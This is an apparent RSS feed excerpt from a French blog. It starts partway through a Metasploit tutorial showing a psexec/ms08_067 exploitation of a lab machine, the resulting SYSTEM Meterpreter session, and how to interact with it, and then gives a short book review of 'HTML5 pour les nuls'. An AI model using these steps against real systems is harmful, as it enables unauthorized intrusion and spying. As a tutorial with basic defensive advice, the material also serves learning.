<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">3</span><span style="color: #000000; font-weight: bold;">/</span><span style="color: #000000;">3</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000;">0</span> sessions<span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>: Launching exploit<span style="color: #000000; font-weight: bold;">/</span>windows<span style="color: #000000; font-weight: bold;">/</span>smb<span style="color: #000000; font-weight: bold;">/</span>psexec against 192.168.128.132:<span style="color: #000000;">445</span>...
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">3</span><span style="color: #000000; font-weight: bold;">/</span><span style="color: #000000;">3</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000;">0</span> sessions<span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>: Waiting on <span style="color: #000000;">3</span> launched modules to finish execution...
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> Meterpreter session <span style="color: #000000;">1</span> opened <span style="color: #7a0874; font-weight: bold;">&#40;</span>192.168.128.138:<span style="color: #000000;">48400</span> -<span style="color: #000000; font-weight: bold;">&gt;</span> 192.168.128.132:<span style="color: #000000;">6313</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> at <span style="color: #000000;">2011</span>-09-05 09:<span style="color: #000000;">40</span>:<span style="color: #000000;">24</span> <span style="color: #660033;">-0400</span>
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">3</span><span style="color: #000000; font-weight: bold;">/</span><span style="color: #000000;">3</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #000000;">1</span> sessions<span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>: Waiting on <span style="color: #000000;">1</span> launched modules to finish execution...</pre></td></tr></table></div>

<p>0wned ! Le tour est joué, la machine distante est prise au piège. Nous avons utiliser l&#8217;exploit ms08_067_netapi pour pénétrer le système.<br />
Pour retrouver une session ouverte, il suffit d&#8217;exécuter cette commande :</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p360code13'); return false;">View Code</a> BASH</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p36013"><td class="code" id="p360code13"><pre class="bash" style="font-family:monospace;">msf <span style="color: #000000; font-weight: bold;">&gt;</span> sessions <span style="color: #660033;">-l</span>
&nbsp;
Active sessions
===============
&nbsp;
  Id  Type                   Information                           Connection
  <span style="color: #660033;">--</span>  <span style="color: #660033;">----</span>                   <span style="color: #660033;">-----------</span>                           <span style="color: #660033;">----------</span>
  <span style="color: #000000;">1</span>   meterpreter x86<span style="color: #000000; font-weight: bold;">/</span>win32  AUTORITE NT\SYSTEM <span style="color: #000000; font-weight: bold;">@</span> VICTIME-484AF1D  192.168.128.138:<span style="color: #000000;">48400</span> -<span style="color: #000000; font-weight: bold;">&gt;</span> 192.168.128.132:<span style="color: #000000;">6313</span></pre></td></tr></table></div>

<p>Et maintenant ?</p>
<p>Maintenant passons aux vilaines choses.<br />
Pour obtenir le shell d&#8217;une session ouverte, il suffit de l’appeler par son ID :</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p360code14'); return false;">View Code</a> BASH</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p36014"><td class="code" id="p360code14"><pre class="bash" style="font-family:monospace;">session <span style="color: #660033;">-i</span> <span style="color: #000000;">1</span></pre></td></tr></table></div>

<p>Ensuite, la commande &laquo;&nbsp;<strong>help</strong>&nbsp;&raquo; vous éclairera sur la suite. Vous pouvez par exemple explorer les fichiers, prendre une capture d&#8217;écran, enregistrer les touches du clavier utilisées et encore plein d&#8217;autres trucs, dont des tâches administratives.</p>
<p>Cependant, un hacker ayant obtenu le shell d&#8217;un système essaye dans la plupart des cas de rester discret.<br />
Dans le prochain article, nous allons voir comment installer un &laquo;&nbsp;backdoor&nbsp;&raquo; afin de pouvoir revenir plus tard sur le système sans exploiter de faille.<br />
Ah oui, j&#8217;oubliais. Backtrack fournit une excellente interface graphique à MSF : &laquo;&nbsp;<strong>Armitage</strong>&laquo;&nbsp;.</p>
<p>Par rapport aux autres articles, aucune nouveauté en matière de lutte contre ce genre d&#8217;attaque. Un antivirus à jour, un pare-feu bien configuré, un système d&#8217;exploitation récent et à jour suffiront à éviter ce genre d&#8217;exploitation.</p>
<p>Aujourd&#8217;hui, les systèmes les plus vulnérables sont les sites Web qui sont très souvent victimes d&#8217;injections SQL permettant de récupérer des fichiers importants, et de compromettre la sécurité du serveur, et donc du réseau tout entier.</p>
]]></content:encoded>
			<wfw:commentRss>http://my1.fr/blog/backtrack-exploitation-de-faille/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>HTML5 pour les nuls</title>
		<link>http://my1.fr/blog/html5-pour-les-nuls/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=html5-pour-les-nuls</link>
		<comments>http://my1.fr/blog/html5-pour-les-nuls/#comments</comments>
		<pubDate>Sun, 28 Aug 2011 22:35:51 +0000</pubDate>
		<dc:creator>Emilien</dc:creator>
				<category><![CDATA[Dev]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[Tests]]></category>
		<category><![CDATA[css3]]></category>
		<category><![CDATA[développement]]></category>
		<category><![CDATA[html5]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://my1.fr/blog/?p=354</guid>
		<description><![CDATA[J&#8217;ai acheté il y a maintenant une semaine ce livre. C&#8217;est vrai que d&#8217;habitude je n&#8217;achète jamais des livres de cette collection, mais là il fallait dire que pour 11 euros à peine, je me suis laissé tenter. &#160; &#160; &#160; &#160; Je vous rapporte comme promis mon premier retour d&#8217;expérience sur ce livre mais [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: left;">J&#8217;ai acheté il y a maintenant une semaine ce livre.</p>
<p style="text-align: left;">C&#8217;est vrai que d&#8217;habitude je n&#8217;achète jamais des livres de cette collection, mais là il fallait dire que pour 11 euros à peine, je me suis laissé tenter.</p>
<p>&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;</p>
<p style="text-align: left;">Je vous rapporte comme promis mon premier retour d&#8217;expérience sur ce livre mais avant toute chose, voici de quoi il traite :</p>
<ul>
<li>Rappels HTML</li>
<li>Transition, puis Exploration des nouveautés HTML5</li>
<li>Nouveautés liées aux formulaires</li>
<li>Rappels sur CSS</li>
<li>Éléments nouveaux avec CSS3</li>
<li>Changements Javascript</li>
<li>Comment travailler avec canvas</li>
<li>Un bonus sur Javascript (1ère approche du langage)</li>
</ul>
<p>&nbsp;</p>
<p><strong>Ce que j&#8217;ai adoré dans ce livre :</strong></p>
<ul>
<li>Le prix. Beaucoup d&#8217;éditeurs ne se retiennent pas de publier des livres à 50 euros, qui au final n’apprennent pas forcément plus qu&#8217;un livre de ce genre.</li>
<li>Son plan : Pour chaque langage évoqué : un rappel, la transition, et ses nouveautés.</li>
<li>Les bon tuyaux mis en avant. Il est certain que le livre de rentre pas en profondeur pour chaque langage, mais l&#8217;essentiel y est avec un grain de sel en plus : les bons petits trucs à savoir.</li>
</ul>
<p>&nbsp;</p>
<p><strong>Ce que j&#8217;ai moins aimé dans ce livre :</strong></p>
<ul>
<li>Tout d&#8217;abord, les rappels HTML sont un peu longs je trouve. Normalement, le lecteur de ce livre a déjà quelques notions dans le domaine, mais j&#8217;ai trouvé que les rappels étaient trop poussés. Moins de rappels et plus de détails auraient été les bienvenus !</li>
<li>Les nouvelles notions de Javascript ne sont pour la plupart pas supportées par les navigateurs d&#8217;aujourd&#8217;hui. Peu d&#8217;intérêt donc de lire ce chapitre. Ils auraient pu nous parler des API JS du moments par exemple !</li>
<li>Le chapitre final (Bonus Javascript) n&#8217;a pas sa place dans ce livre. Si nous voulions nous former à Javascript, nous achèterions &laquo;&nbsp;Javascript&nbsp;&raquo; pour les Nuls&nbsp;&raquo;. Bref, j&#8217;ai l&#8217;impression qu&#8217;ils ont essayé de combler la fin afin de faire du contenu.</li>
</ul>
<p>&nbsp;</p>
<p><strong>Conclusion :</strong></p>
<p>Pour une première approche de HTML5, le livre est vraiment sympa. L&#8217;auteur va réellement à l&#8217;essentiel, et pas mal de notions sont abordées quand même. De plus, pour le développeur en herbe, les notions de base sont bien rappelées. Cependant, pour l&#8217;intégrateur Web chevronné, ce livre sera nettement insuffisant pour sa culture et sa tâche.</p>
<p>Quelqu&#8217;un m&#8217;a conseillé ce <a title="CSS Avancées" href="http://www.goetter.fr/livres/css-avancees/" target="_blank">livre</a>, et je vais pas tarder à l&#8217;acheter. Il s&#8217;agit de &laquo;&nbsp;<em>CSS Avancées, vers HTML5 et CSS3</em>&laquo;&nbsp;. Ce livre est certainement un &laquo;&nbsp;must have&nbsp;&raquo; dans le domaine, et donc un peu plus cher, mais tant pis.</p>
<p>Cela confirme vraiment ce que je pense de la collection &laquo;&nbsp;Les Nuls&nbsp;&raquo; : des bons bouquins pour connaître l&#8217;essentiel, point final.</p>
]]></content:encoded>
			<wfw:commentRss>http://my1.fr/blog/html5-pour-les-nuls/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>

